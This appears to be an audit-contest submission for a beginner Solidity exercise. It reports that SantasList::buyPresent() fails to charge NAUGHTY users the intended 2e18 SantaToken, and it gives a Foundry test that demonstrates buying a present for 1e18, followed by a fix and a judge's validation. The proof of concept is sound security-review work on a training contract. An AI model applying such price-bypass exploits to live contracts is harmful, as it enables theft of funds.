First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

NAUGHTY users can buy a present for less than expected

y0ng0p3

Summary

NAUGHTY users can buy a present for less than expected.

Vulnerability Details

SantasList::buyPresent() allows anyone with SataTokens to purchase a present. NAUGHTY users should purchase a present at the price of 2e18 SantaToken. However, SantasList::buyPresent() method does not enforce this obligation.

Proof of Concept

Place the code for the following test function in test/unit/SantasListTest.t.sol.

function test_BuyPresent_ForLessThanExpected() public {
address naughtyUser = makeAddr("naughty_user");
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
santasList.checkList(naughtyUser, SantasList.Status.NAUGHTY);
santasList.checkTwice(naughtyUser, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
santaToken.transfer(naughtyUser, 1e18);
vm.stopPrank();
​
vm.startPrank(naughtyUser);
santaToken.approve(address(santasList), 1e18);
santasList.buyPresent(naughtyUser);
assertEq(santasList.balanceOf(naughtyUser), 1);
vm.stopPrank();
}

In the terminal, run the following command:

  • forge test --mt test_BuyPresent_ForLessThanExpected

Impact

NAUGHTY users can buy a present for less than expected.

Tools Used

Manual review, Foundry

Recommendations

Check that whoever calls SantasList::buyPresent() or whoever receives the ERC721 SantasList token to be minted on that call is marked as NAUGHTY. In either case, 2e18 SantaTokens have been paid.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Price is not enforced in buyPresent

This line indicates that the intended cost of presents for naughty people should be 2e18: https://github.com/Cyfrin/2023-11-Santas-List/blob/6627a6387adab89ae2ba2e82b38296723261c08a/src/SantasList.sol#L87 PURCHASE_PRESENT_COST should be implemented to enforce the cost of presents.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.